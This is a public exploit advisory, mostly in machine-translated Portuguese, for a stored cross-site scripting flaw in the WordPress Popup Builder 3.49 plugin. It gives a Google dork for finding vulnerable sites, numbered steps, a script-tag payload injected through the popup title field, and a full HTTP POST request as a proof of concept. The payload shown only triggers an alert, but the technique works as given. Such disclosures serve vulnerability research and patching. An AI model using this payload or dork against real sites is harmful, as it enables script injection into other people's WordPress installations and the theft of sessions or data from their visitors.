WordPress Popup Builder 3.49 – Persistent Cross-Site Scripting

# Exploit Title: WordPress Popup Builder 3.49 – Script persistente entre sites
# Google Dork: inurl: “\ wp-content \ plugins \ popupbuilder”
# Data: 2019-06-13
# Exploit Autor: Unk9vvN
# Página inicial do fornecedor: https://popup-builder.com/
# Link do software: https://wordpress.org/plugins/popup-builder/
# Versão: 3.49
# Testado em: Kali Linux
# CVE: N / D

# Descrição
# Esta vulnerabilidade está no modo de validação e está localizada em “Adicionar postagem” ou “Adicionar página” do wordpress e o tipo de vulnerabilidade é armazenado. Depois de instalar o Popup Builder, ele fará a seção em Adicionar postagem e Adicionar página. Nesta seção, você escolherá qual show pop-up criará a tag de opção com o valor do título dos pop-ups. Agora é fácil apenas quebrar a tag de opção e inserir nossa tag de script no título do pop-up.

1. Vá para a seção ‘Adicionar novo’ do Popup Builder
2. Selecione o tipo de imagem
3.Insira a carga no campo “adicionar título”
4.Clique na opção “Publicar”
5. Vá para a seção Adicionar novo da página ou Adicionar novo da postagem
6. Sua carga útil será executada

# URI: http://localhost/wordpress/wp-admin/post-new.php?post_type=popupbuilder&sgpb_type=image&wp-post-new-reload=true
# Parameter & Payoad: post_title="/><script>alert("Unk9vvN")</script>


#
# POC
#
POST /wordpress/wp-admin/post.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://localhost/wordpress/wp-admin/post.php?post=39&action=edit
Content-Type: application/x-www-form-urlencoded
Content-Length: 2425
Cookie: ......
Connection: close
Upgrade-Insecure-Requests: 1
DNT: 1

_wpnonce=8dde4c5262&_wp_http_referer=%2Fwordpress%2Fwp-admin%2Fpost.php%3Fpost%3D39%26action%3Dedit%26message%3D1&user_ID=1&action=editpost&originalaction=editpost&post_author=1&post_type=popupbuilder&original_post_status=publish&referredby=http%3A%2F%2Flocalhost%2Fwordpress%2Fwp-admin%2Fpost.php%3Fpost%3D39%26action%3Dedit&_wp_original_http_referer=http%3A%2F%2Flocalhost%2Fwordpress%2Fwp-admin%2Fpost.php%3Fpost%3D39%26action%3Dedit&post_ID=39&meta-box-order-nonce=5e054a06d1&closedpostboxesnonce=03e898cf80&post_title=%22%2F%3E%3Cscript%3Ealert%28%22Unk9vvN%22%29%3C%2Fscript%3E&samplepermalinknonce=fc4f7ec2ab&wp-preview=&hidden_post_status=publish&post_status=publish&hidden_post_password=&hidden_post_visibility=public&visibility=public&post_password=&mm=09&jj=13&aa=2019&hh=15&mn=01&ss=34&hidden_mm=09&cur_mm=09&hidden_jj=13&cur_jj=13&hidden_aa=2019&cur_aa=2019&hidden_hh=15&cur_hh=15&hidden_mn=01&cur_mn=03&original_publish=Update&save=Update&tax_input%5Bpopup-categories%5D%5B%5D=0&newpopup-categories=New+Category+Name&newpopup-categories_parent=-1&_ajax_nonce-add-popup-categories=11ba2a6f5c&sgpb-image-url=http%3A%2F%2Flocalhost%2Fwordpress%2Fwp-content%2Fuploads%2F2019%2F09%2Fwp2601087.jpg&sgpb-target%5B0%5D%5B0%5D%5Bparam%5D=not_rule&sgpb-type=image&sgpb-is-preview=0&sgpb-is-active=checked&sgpb-events%5B0%5D%5B0%5D%5Bparam%5D=load&sgpb-events%5B0%5D%5B0%5D%5Bvalue%5D=&sgpb-behavior-after-special-events%5B0%5D%5B0%5D%5Bparam%5D=select_event&sgpb-popup-z-index=9999&sgpb-popup-themes=sgpb-theme-1&sgpb-overlay-custom-class=sgpb-popup-overlay&sgpb-overlay-color=&sgpb-overlay-opacity=0.8&sgpb-content-custom-class=sg-popup-content&sgpb-esc-key=on&sgpb-enable-close-button=on&sgpb-close-button-delay=0&sgpb-close-button-position=bottomRight&sgpb-button-position-top=&sgpb-button-position-right=9&sgpb-button-position-bottom=9&sgpb-button-position-left=&sgpb-button-image=&sgpb-button-image-width=21&sgpb-button-image-height=21&sgpb-border-color=%23000000&sgpb-border-radius=0&sgpb-border-radius-type=%25&sgpb-button-text=Close&sgpb-overlay-click=on&sgpb-popup-dimension-mode=responsiveMode&sgpb-responsive-dimension-measure=auto&sgpb-width=640px&sgpb-height=480px&sgpb-max-width=&sgpb-max-height=&sgpb-min-width=120&sgpb-min-height=&sgpb-open-animation-effect=No+effect&sgpb-close-animation-effect=No+effect&sgpb-enable-content-scrolling=on&sgpb-popup-order=0&sgpb-popup-delay=0&post_name=scriptalert1script